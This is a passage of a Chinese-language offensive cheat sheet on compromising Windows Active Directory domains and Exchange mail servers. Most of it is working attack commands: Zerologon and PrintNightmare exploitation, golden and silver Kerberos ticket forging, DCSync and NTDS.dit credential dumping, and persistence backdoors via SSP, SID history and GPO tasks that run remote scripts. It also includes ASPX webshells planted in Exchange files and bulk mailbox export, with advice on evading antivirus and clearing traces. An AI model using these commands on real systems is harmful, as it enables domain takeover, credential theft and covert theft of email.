10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50060 hadoop
50070,50030 hadoop默认端口未授权访问
```

域渗透

信息搜集

DC上存储着所有用户的账号哈希、DNS解析、安全日志等域中重要数据，取得DC的管理员权限后可以获取这些重要信息：

域内开启的服务获取

```
setspn -T target.com -Q */*
```

获取域内用户的详细信息

```
wmic useraccount get /all
```

域内主机登录情况获取

```
# https://github.com/evilashz/SharpADUserIP
# 获取7天内的域内主机登录情况
SharpADUserIP.exe 7
```

powerview.ps1

```
Get-NetDomain:获取当前用户所在域的名称。
Get-NetUser:获取所有用户的详细信息。
Get-NetDomainController:获取所有域控制器的信息。Get-NetComputer:获取域内所有机器的详细信息。
Get-NetOU:获取域中的OU信息。
Get-NetGroup:获取所有域内组和组成员的信息。
Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息。
Get-NetShare:获取当前域内所有的网络共享信息。
Get-NetSession:获取指定服务器的会话。
Get-NetRDPSession:获取指定服务器的远程连接。
Get-NetProcess:获取远程主机的进程。
Get-UserEvent:获取指定用户的日志。
```

```
Get-ADObject:获取活动目录的对象。
Get-NetGPO:获取域内所有的组策略对象。
Get-DomainPolicy:获取域默认策略或域控制器策略。
Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限。
Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户。
Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些域机器。
Invoke-ShareFinder 在本地域中的主机上查找（非标准）共享
Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件
Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机
Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户，即这些组拥有添加或删除成员的能力
Get-ExploitableSystem 发现系统可能易受常见攻击
Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
```

BloodHound

获取某OU下所有机器信息

```
{
            "name": "Find the specificed OU computers",
            "queryList": [
                {
                    "final": false,
                    "title": "Select a OU...",
                    "query": "MATCH (n:OU) RETURN distinct n.name ORDER BY n.name DESC"
                },
                {
                    "final": true,
                    "query": "MATCH (m:OU  {name: $result}) with m MATCH p=(o:OU
{objectid: m.objectid})-[r:Contains*1..]->(n:Computer) RETURN p",
                    "allowCollapse": true,
                    "endNode": "{}"
                }
            ]
        }
```

自动标记owned用户及机器

SyncDog

AdFind

```
AdFind -sc dclist # 列出域控制器名称
```

```
AdFind -sc computers_active # 查询当前域中在线的计算机

AdFind -sc computers_active name operatingSystem # 查询当前域中在线的计算机(只显示名称和操作系统)

AdFind -f "objectcategory=computer" # 查询当前域中所有计算机

AdFind -f "objectcategory=computer" name operatingSystem # 查询当前域中所有计算机(只显示名称和操作系统)

AdFind -users name # 查询域内所有用户

AdFind -sc gpodmp # 查询所有GPO

AdFind -gpo # 查询所有GPO
```

获取域内DNS信息

域中DNS服务器通常由DC兼任，也可以单独设置。DNS记录主要包括正反向解析表，获取正反向解析表有助于澄清域内网络的拓扑结构，这里介绍两种获取DNS记录的方法：

1. 通过 DNS Manager 获取 (域管用户)

在DC上的DNS Manager界面找到要导出记录的域，右键选择导出列表即可。

2. 通过 dnscmd 命令获取 (域管用户)

dnscmd是用来管理DNS服务器的工具，支持远程连接，基本使用方法如下：

```
# 列出指定DNS服务器的区域记录
dnscmd <ServerName> /EnumZones
# <ServerName>为.时，向本机DNS服务器查询记录
# <ServerName>为IP地址或主机名时，向远程主机查询记录
# 查询目标域的dns解析记录
dnscmd . /EnumRecords target.com .

# 列出本机DNS服务器的反向区域记录
dnscmd . /EnumZones /Reverse

# 向本机DNS服务器查询test.domain.com域的基本信息
dnscmd . /ZoneInfo test.domain.com

# 向本机DNS服务器查询test.domain.com区域的记录(获取内网的dns解析记录)
dnscmd . /EnumRecords test.domain.com .


# 向本机DNS服务器查询test.domain.com区域的记录
dnscmd . /ZonePrint test.domain.com
```

```
# 向本机DNS服务器查询1.10.10.in-addr.arpa区域的记录
dnscmd . /EnumRecords 1.10.10.in-addr.arpa .

# 域内远程读取DNS记录的方法
# (1) Overpass-the-hash
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com
/ntlm:A55E0720F0041193632A58E007624B40"
# (2) 使用dnscmd远程连接进行查询
Dnscmd WIN-F08C969D7FM.test.com(完整的FQDN) /EnumZones
# 或者使用计算机名也是可以的
Dnscmd WIN-F08C969D7FM /EnumZones
```

3. SharpAdidnsdump (普通域内用户)

原理: 先通过LDAP查询获得域内计算机的名称，再通过DNS查询获得对应的IP

```
SharpAdidnsdump.exe test.com
```

4. adidnsdump (普通域内用户)

Python实现，用于查询DNS记录，基于impacket实现，所以可以通过域用户的凭据(明文口令或NTLM hash)进行远程查询

```
adidnsdump -u test\\testuser1 -p test123! dc.test.com -r
```

挂代理情况下

```
proxychains adidnsdump -u test\\testuser1 -p test123! dc.test.com -r --dns-tcp
```

5. dns-dump (普通域内用户)

原理: 先通过LDAP查询获得DNS记录，对二进制的DNS记录进行解码，获得实际内容

```
Powershell -ep bypass -f dns-dump.ps1 -zone test.com
```

6. PowerView (普通域内用户)

```
import-module PowerView.ps1
Get-DNSRecord -ZoneName test.com
```

PS: 在DNS服务器上导出所有记录之后可以使用dns-zonefile将txt导出为json结果

获取域控的方法

Zerologon

```
# mimikatz

lsadump::zerologon /target:域控IP /account:域控主机名$（机器账户）

lsadump::zerologon /target:域控IP /account:域控主机名$（机器账户） /exploit （清空hash）

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0（空hash） '域名/域控主机名$@域控IP'

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24（administrator的hash） 域名/administrator@域控ip

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save


python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL （解hash）
python3 reinstall_original_pw.py JUVENTUS 172.16.220.89 6493fcc57bd126e9ab8fb9f56e8a79c9 （acc账户NTLMhash，“：”后半截）
```

PS: 这里其实还可以使用 SharpZeroLogon 来一键完成漏洞检测、利用和patch。最重要的是这个可以结合cobaltstrike进行使用

```
# 检测
SharpZeroLogon.exe win-dc01.vulncorp.local
# 重置
SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# patch
SharpZeroLogon.exe win-dc01.vulncorp.local -patch
```

CVE-2021-1675

漏洞利用条件: 一个普通账号
漏洞利用步骤:

1. 验证漏洞是否存在

```
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```

批量扫描

```
itwasalladream -u user -p password -d domain 192.168.1.0/24
```

2. 弱口令喷洒获取一个账号密码

```
https://github.com/ropnop/kerbrute
# 用户枚举
./kerbrute_linux_amd64 userenum --dc 192.168.1.1 -d lab.ropnop.com usernames.txt
# 密码喷洒
./kerbrute_linux_amd64 passwordspray --dc 192.168.1.1 -d lab.ropnop.com domain_users.txt
Password123
```

3. 利用漏洞

```
CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10
'\\192.168.1.215\smb\addCube.dll'
```

相关Exp:

- CVE-2021-1675
- ItWasAllADream
- cve-2021-1675

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的，它用来存放GPO. Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。
相关阅读:

- 寻找SYSVOL里的密码和攻击GPP（组策略偏好）
- Windows Server 2008 R2之四管理Sysvol文件夹
- SYSVOL中查找密码并利用组策略首选项
- 利用SYSVOL还原组策略中保存的密码

MS14-068 Kerberos

```
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机
```

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存，创建缓存证书：

```
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
net use k: \pentest.comc$
```

相关阅读：

- Kerberos的工具包PyKEK
- 深入解读MS14-068漏洞
- Kerberos的安全漏洞

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据，无需向目标系统发送任何数据包。
SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类，主机名和端口组成。在使用Kerberos身份验证的网络中，必须在内置计算机帐户（如NetworkService或LocalSystem）或用户帐户下为服务器注册SPN。对于内部帐户，SPN将自动进行注册。但是，如果在域用户帐户下运行服务，则必须为要使用的帐户的手动注册SPN。
SPN扫描的主要好处是，SPN扫描不需要连接到网络上的每个IP来检查服务端口，SPN通过LDAP查询向域控执行服务发现，SPN查询是Kerberos的票据行为一部分，因此比较难检测SPN扫描。
相关阅读：

- 非扫描式的SQL Server发现
- SPN扫描
- 扫描SQLServer的脚本

Kerberos的黄金票据

黄金票据伪造的是TGT，回顾下Kerberos认证过程，当具备krbtgt的Master Key、SKDC-Client、域名\用户名等重要元素后，就可以伪造TGT，直接向KDC的票据授权服务TGS发送票据授权服务请求，完成接下来的认证工作。TGT所需元素中，SKDC-Client可由程序随机生成，其他所需元素为：

- 域名称
- 域的SID值
- 域中krbtgt账户的NTLM HASH
- 伪造的用户名

黄金票据具有以下特点：

- 因为Client向TGS发送KRB_TGS_REQ之后的工作不再验证用户账户的有效性，所以利用黄金票据可以模拟任何用户访问域中相应资源
- 只要能登陆域中的主机，就可以利用黄金票据，是不是以域用户身份登录无所谓，重要的是可以解析DC的FQDN（在没有导入黄金票据的情况下，加入域的主机输入命令`dir \\dc.main.test.com\c$`提示Access is denied，导入票据后可以正常访问；而没有加入域的主机导入票据前后输入命令`dir \\dc.main.test.com\c$`，提示的都是`The network path was not found`）
- 在多域森林中，如果创建黄金票据所在的域不是林根域（不包含Enterprise Admins组），则黄金票据不会向林中的其他域提供管理权限

黄金票据的利用过程如下：

1. 获取票据信息

```
privilege::debug

# 方法一：从NTDS.DIT数据库获取krbtgt账户哈希
lsadump::dcsync /domain:test.domain.com /user:krbtgt

# 方法二：从lsass进程获取krbtgt账户哈希
lsadump::lsa /inject /name:krbtgt
```

2. 制作黄金票据

```
kerberos::golden /domain:test.domain.com /sid:S-1-8-21-421232943-2688574678-8739778600
/krbtgt:43afc17b22719abbbssa7416fbb6743hh /user:username /ticket:admin.kirbi
# /sid：域sid
# /krbtgt：krbtgt账户的NTLM HASH值
# /user: 伪造的用户名
# /ticket：生成的票据名称
```

PS: 抓取的SID=域SID+RID，而制作票据时使用的SID为域SID，所以要将末尾的RID去掉。

3. 使用黄金票据

```
kerberos::purge                 # 清除Kerberos票据
kerberos::ptt admin.kirbi       # 导入黄金票据
kerberos::list                  # 列出当前Kerberos票据
```

利用klist命令也可以查看和清除当前Kerberos票据

```
klist                           # 列出当前Kerberos票据
klist purge                     # 清除Kerberos票据
```

导入黄金票据后就可以实现对相应资源的访问了，如查看共享文件、远程桌面访问、PsExec执行命令等。

相关阅读：

- https://adsecurity.org/?p=1640
- 域服务账号破解实践
- Kerberos的认证原理
- 深刻理解windows安全认证机制ntlm & Kerberos

Kerberos的白银票据

白银票据是伪造的TGS票据，即使用Server的Master Key进行加密的Ticket（ST），当具备SServer-Client、域名\用户

名、Ticket到期时间等信息后，就可以伪造ST，直接与Server进行交互，完成接下来的认证工作，无需再经过KDC认证。ST所需元素中，SServer-Client可由程序随机生成，其他所需元素为：

- 域名称
- 域的SID值
- 域中Server账户的NTLM HASH
- 访问的服务名，最常用到的是CIFS资源共享服务
- 伪造的用户名

白银票据具有以下特点：

- 只能访问指定目标主机中指定的服务，有较大局限性
- 和黄金票据相同，只要能登陆域中的主机，就可以利用白银票据，是不是域用户无所谓

黄金票据和白银票据的一些区别：
Golden Ticket：伪造`TGT`，可以获取`任何Kerberos`服务权限
银票：伪造TGS，`只能访问指定的服务`
加密方式不同：
Golden Ticket由`krbtgt`的hash加密
Silver Ticket由`服务账号`（通常为计算机账户）Hash加密
认证流程不同：
金票在使用的过程需要同域控通信
银票在使用的过程不需要同域控通信

白银票据的利用过程如下：

1. 获取票据信息

```
privilege::debug

# 获取Server的NTLM HASH
sekurlsa::logonpasswords full
```

2. 白银票据制作和使用

```
mimikatz.exe "kerberos::golden /domain:test.domain.com /sid:S-1-8-21-421232943-2688574678-
8739778600 /target:dc01.test.domain.com /service:cifs
/rc4:afc3417bbb519afffssa7416fbb6556aa /user:admin /ptt" exit
# /sid：域sid
```

```
# /target: 目标服务器主机名
# /service: 要访问的服务名
# /rc4: 目标服务器的NTLM HASH
# /user: 伪造的用户名

dir \\dc01.test.domain.com\c$
```

相关阅读：

- 攻击者如何使用Kerberos的银票来利用系统
- 域渗透——Pass The Ticket

域服务账号破解

与上面SPN扫描类似的原理
https://github.com/nidem/kerberoast
获取所有用作SPN的帐户

```
setspn -T PENTEST.com -Q */*
```

从Mimikatz的RAM中提取获得的门票

```
kerberos::list /export
```

用rgsrepcrack破解

```
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```

凭证盗窃

从搜集的密码里面找管理员的密码

NTLM relay

- One API call away from Domain Admin
- privexchange
- Exchange2domain
- 使用NTLM中继和Deathstar获取域管理员权限

Kerberos委派

- Wagging-the-Dog.html
- s4u2pwnage
- Attacking Kerberos Delegation

- Attacking Kerberos Delegation
- 用打印服务获取域控
- Computer Takeover
- Combining NTLM Relaying and Kerberos delegation
- CVE-2019-1040

利用域信任关系获取根域权限

```
lsadump::lsa /patch 抓一下本机krbtgt的账号密码

Get-DomainComputer -Domain xxx.xxx 获得父域的sid，然后添加父域sid管理员账号

kerberos::golden /user:Administrator /krbtgt:子域的KRBTGT_HASH /domain:子域的名称 /sid:S-1-5-21-子域的SID /sids:S-1-5-根域-519 /ptt
# 其中的519代表Enterprise Admins的RID（仅出现在根域中）
```

地址解析协议

实在搞不定再搞ARP

获取AD哈希

- 使用VSS卷影副本
- Ntdsutil中获取NTDS.DIT文件
- PowerShell中提取NTDS.DIT -->Invoke-NinaCopy
- 使用Mimikatz提取

```
# 提取所有用户hash
mimikatz.exe "lsadump::dcsync /domain:rd.adsecurity.org /all /csv" exit
```

- 使用PowerShell Mimikatz
- 使用Mimikatz的DCSync 远程转储Active Directory凭证
  提取 KRBTGT用户帐户的密码数据：

```
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：krbtgt"exit
```

管理员用户帐户提取密码数据：

```
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：
Administrator" exit
```

- NTDS.dit中提取哈希，使用esedbexport恢复以后使用ntdsxtract提取

NTDS.DIT是AD的数据库文件，也是AD DS的心脏，包含了当前域中所有用户的账号和哈希值、组、OU等信息，默认存储在所有DC上的`%SystemRoot%\NTDS`目录中，只能通过DC自身进程和协议访问，在DC上可以使用其自带工具ntdsutil 和 vssadmin 获取NTDS.DIT的副本，具体使用如下：

1. 获取NTDS.DIT和SYSTEM.HIVE文件

方法一：`ntdsutil`

`ntdsutil`是DC上用于访问和管理AD数据库的工具

```
# 查询当前快照列表
ntdsutil snapshot "List All" quit quit

# 查询已挂载的快照列表
ntdsutil snapshot "List Mounted" quit quit

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

# 创建快照后提示：成功生成快照集 {99d2f8bf-c886-41c0-9fe8-901fc8c1127e}

# 挂载快照
ntdsutil snapshot "mount 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit

# 成功挂载后提示：{2df5e98a-7862-4ac6-9d1c-23a03690ed57} 已作为
C:\$SNAP_202009062051_VOLUMEC$\ 装载

# 复制ntds.dit
copy C:\$SNAP_202009062051_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 复制system
copy C:\$SNAP_202009062051_VOLUMEC$\windows\system32\config\system c:\system.hive

# 卸载快照
ntdsutil snapshot "unmount 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit

# 删除快照
ntdsutil snapshot "delete 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit
```

方法二：`vssadmin`

`vssadmin`是Windows本地卷影拷贝服务（Volume Shadow copy Server，VSS）工具

```
# 查询当前系统的快照
vssadmin list shadows
```

```
# 创建快照
vssadmin create shadow /for=c:

# 创建快照后提示：成功地创建了 'c:\' 的卷影副本
# 卷影副本 ID: {506253f4-bddc-4c4f-93a0-9ca1c30e4ad4}
# 卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

# 复制system
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system
c:\system.hive

# 删除快照
vssadmin delete shadows /for=c: /quiet
```

2. 解析文件，导出用户HASH

目前解析NTDS.DIT文件最简单的方法就是使用Impacket包中的secretsdump.py工具：获取到NTDS.DIT和SYSTEM.HIVE文件后，将其下载到本地就可以通过secretsdump.py导出所有用户的HASH值。（当然获取SYSTEM.HIVE文件除了上述两种方法外，用`reg save HKLM\SYSTEM c:\system.hive`转储也是可以的）

```
python secretsdump.py -ntds c:\ntds.dit -system c:\system.hive LOCAL
```

除了利用DC自身工具获取NTDS.DIT进而导出域内账户哈希之外，也可以利用第三方工具如Mimikatz进行获取，通过以下命令可以方便快捷从NTDS.DIT数据库获取账号哈希，但注意要免杀处理：

```
mimikatz.exe "privilege::debug" "log dcdump.log" "lsadump::dcsync /domain:test.domain.com
/all /csv" exit
```

PS: 其实可以很方便的使用 `secretsdump.py` 直接远程进行导出

```
# 账号密码方式
python secretsdump.py domain.name\Administrator:123456@192.168.0.1
# hash传递方式
python secretsdump.py domain.name\Administrator -hashes 对应的hash值
```

定位域管机器

AD持久化

活动目录持久性技巧

https://adsecurity.org/?p=1929
DS恢复模式密码维护
DSRM密码同步

> Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考：巧用DSRM密码同步将域控权限持久化

DCshadow

Security Support Provider

简单的理解为SSP就是一个DLL，用来实现身份认证

```
privilege::debug
misc::memssp
```

这样就不需要重启`c:/windows/system32`可看到新生成的文件kiwissp.log

SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

```
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
```

AdminSDHolder&SDProp

利用AdminSDHolder&SDProp（重新）获取域管理权限

组策略

此处列举两种使用组策略下发计划任务的使用方式

SharpGPOAbuse

```
Import-Module GroupPolicy -verbose
new-gpo -name NameGPO | new-gplink -Target "dc=domain,dc=org"

# 下发一个立即执行命令的任务

SharpGPOAbuse.exe --AddComputerTask --TaskName "NameGPO" --Author domain.org\admin --
Command "cmd.exe" --Arguments "/c \\10.10.10.1\c$\smb\test.bat" --GPOName "NameGPO"

# 下发一个用户登录后执行的脚本
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe
```

```
/c \\10.10.10.1\c$\smb\test.bat" --GPOName "NameGPO"

# 强制目标机器立即刷新组策略
Invoke-GPUpdate -Computer "domain.org\desktop123"
# 在目标机上强制刷新组策略
gpupdate /force
# 删除对应的组策略
Remove-GPO -Name NameGPO
```

New-GPOImmediateTask

```
Import-Module GroupPolicy -verbose
# 新建一个名为NameGPO的组策略
new-gpo -name NameGPO | new-gplink -Target "dc=domain,dc=org"
# 创建一个立即执行类型的任务
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TLMDNet -SysPath '\\主机
名.domain.org\sysvol\domain.org' -CommandArguments '-c cmd /c
\\\10.10.10.1\c$\smb\test.bat'

# 强制目标机器立即刷新组策略
Invoke-GPUpdate -Computer "domain.org\desktop123"
# 在目标机上强制刷新组策略
gpupdate /force
# 删除对应的组策略
Remove-GPO -Name NameGPO
```

域渗透-利用GPO中的计划任务实现远程执行
策略对象在持久化及横向渗透中的应用

Hook PasswordChangeNotify

http://www.vuln.cn/6812

Kerberoasting后门

域渗透-Kerberoasting

AdminSDHolder

Backdooring AdminSDHolder for Persistence

Delegation

Unconstrained Domain Persistence

邮件服务器

邮件服务器对邮件的操作均可以通过协议完成，CSharp的库为 EAGetMail

Exchange

相关漏洞

- **Exchange2domain**
- **CVE-2018-8581**
- **CVE-2019-1040**
- **CVE-2020-0688**
- **CVE-2021–26855**
- **ProxyShell**
- **NtlmRelayToEWS**
- **ewsManage**

公网Exchange发现

```
microsoft exchange 2013:
app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-
Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-
Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-
```

```
Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-
Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-
Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-
Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-
Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-
Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-
Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-
Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-
Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-
Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013"

microsoft exchange 2016:
app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-
CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-
RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-
CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-
CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-
CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-
CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-
CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-
CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-
CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server"

microsoft exchange 2019:
app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-
CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-
CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-
CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-
CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4"

microsoft exchange 2010:
app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-
2010"
```

Exchange信息收集

1. 端口扫描：Exchange 接口会暴露在80端口，同时25/587/2525等端口上会有SMTP服务。
2. 域控可以直接使用 `setspn -q */*` 定位域内的Exchange服务器
3. 特殊域名

```
https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/
```

4. 寻找接口（webdir字典）

```
/autoDiscover/  自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。
/ecp/“Exchange Control Panel”       Exchange管理中心，管理员用于管理组织中的Exchange的Web控制台
/eWS/“Exchange Web Services”        Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi/      Outlook连接Exchange的默认方式，在2013和2013之后开始使用，2010 sp2同样支持
/microsoft-Server-ActiveSync/       用于移动应用程序访问电子邮件
/OAB/“Offline Address Book”     用于为Outlook客户端提供地址簿的副本，减轻Exchange的负担
/owa/“Outlook Web APP”      Exchange owa 接口，用于通过web应用程序访问邮件、日历、任务和联系人等
/powerShell/    用于服务器管理的Exchange管理控制台
/Rpc/   早期的Outlook还使用称为Outlook Anywhere的RPC交互
```

```
/autoDiscover/
/ecp/
/eWS/
/mapi/
/microsoft-Server-ActiveSync/
/OAB/
/owa/
/powerShell/
/Rpc/
```

5. 版本确定：源代码搜索favicon.ico，可以看到一串数字 15.0.1130,这是exchange具体版本号，到这里查就行了
6. 抓包以下接口包，将HTTP版本改为1.0，并删除HOST头，就会暴露exchange ip，有时会暴露内网IP

```
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
```

7. 泄露exchange服务器信息:当我们对exchange服务器进行NTLM质询时,在服务器返回challenge时同时会返回域信息，机器名等信息。以此为基础可以对exchange进行服务器信息搜集

```
nmap host  -p 443 --script http-ntlm-info --script-args http-ntlm-
info.root=/rpc/rpcproxy.dll -Pn
```

控守方案

1. webshell

该shell实现的是内存加载.net程序集

```
<%@ Page Language="C#"%>
<%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).crea
teInstance("PayLoad").Equals("");%>
```

该shell的作用是将第一个文件上传请求的内容保存在同级目录下的uploadDemo.aspx

```
<%@ Page Language="C#"%>
<%if(Request.Files.Count!=0)Request.Files[@].SaveAs(Server.MapPath("./uploadDemo.aspx"));}
%>
```

可以将一句话后门插入 `%ExchangeInstallPath%FrontEnd\HttpProxy\owa\auth\errorFE.aspx`，然后使用的时候用文章《Exchange一句话后门的实现》中提到的客户端链接即可

2. IIS服务类型 -- IIS-Raid

邮箱操作

1. 在Exchange服务器上操作邮箱(需要一个adminstrtor组的账户)

用到的工具: MailSniper

```
# 在所有邮件中检索关键词
Import-Module .\MailSniper.ps1
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010
Invoke-GlobalMailSearch -ImpersonationAccount administrator -ExchHostname 10.10.10.1 -
```

```
AdminUserName domain\administrator  -AdminPassword p@ssw0rd -Term  "*pass*"  -Folder all -
OutputCsv search.csv

# 获取所有邮件地址
Set-ExecutionPolicy Unrestricted
Import-Module .\MailSniper.ps1
Get-GlobalAddressList -ExchHostname 10.10.10.1 -UserName administrator -Password p@ssw0rd

# 查找存在缺陷的用户邮箱权限委派
Invoke-OpenInboxFinder -ExchangeVersion Exchange2013_SP1 -ExchHostname ex.const.com -
EmailList .\user.txt -remote
```

2. 利用Exchange Management Shell导出指定邮件

最方便的是通过Exchange Management Shell命令获取，可以灵活定义时间、收件箱、发件箱、关键字等参数信息，导出邮件前确保当前用户administrator已经在"Mailbox Import Export"组中：

```
New-ManagementRoleAssignment –Role "Mailbox Import Export" –User administrator
```

然后创建一个当前账户可以访问的网络共享，这里以共享\HOSTNAME\SHARE为例，接下来按规则导出mailuser用户的邮件到指定的共享路径：

```
# 导出用户的所有邮件
New-MailboxExportRequest -Mailbox mailuser -FilePath "\\HOSTNAME\SHARE\export.pst"

# 导出用户的邮件归档
New-MailboxExportRequest -Mailbox mailuser -FilePath "\\HOSTNAME\SHARE\export.pst" -
Isarchive

# 按收件时间导出邮件，并以"myExport"作为邮件导出标识
# 如果没有指定-Name参数，则默认标识为MailboxExportX，X为0-9
New-MailboxExportRequest -Mailbox mailuser -Name myExport -contentfilter {(Received -gt
'08/10/2020')} -Filepath "\\HOSTNAME\SHARE\export.pst"
New-MailboxExportRequest -ContentFilter {(Received -lt '04/01/2010') -and (Received -ge
'03/01/2010')} -Mailbox mailuser -Name myExport -FilePath "\\HOSTNAME\SHARE\export.pst"

# 按收件箱、发件箱导出邮件
New-MailboxExportRequest -IncludeFolders "#Inbox#","#SentItems#" -Mailbox mailuser -
FilePath "\\HOSTNAME\SHARE\export.pst"
```

查看邮箱导出的进度：

```
# 查看邮箱导出的进度
Get-MailboxExportRequest
Get-MailboxExportRequest -Name myExport
```

邮箱导出后系统会产生通知信息，所有登录管理界面的用户都可以看到，因此导出邮箱后切记要及时清除:

```
# 删除所有邮件导出信息
Get-MailboxExportRequest | Remove-MailboxExportRequest

# -Identity：删除特定的邮件导出信息，Identity格式为"<邮箱用户名>\<邮箱导出标识>"
# 在没有-Name参数指定的情况下，Identity默认为"<邮箱用户名>\MailboxExportX"，X为0-9
Remove-MailboxExportRequest -Identity "mailuser\myExport"
```

3. 在邮件服务器上导出的邮件账号密码(hash也可以)之后利用pyMailSniper可以检索和导出邮件信息
4. 控制邮件服务器持续导出某个用户的邮件信息(在邮服上操作)

这里直接给出`getmail.bat`脚本的源码

```
@echo off

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -noexit -
command ". 'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1';
Connect-ExchangeServer -auto -ClientApplication:ManagementShell;Remove-Item -Path
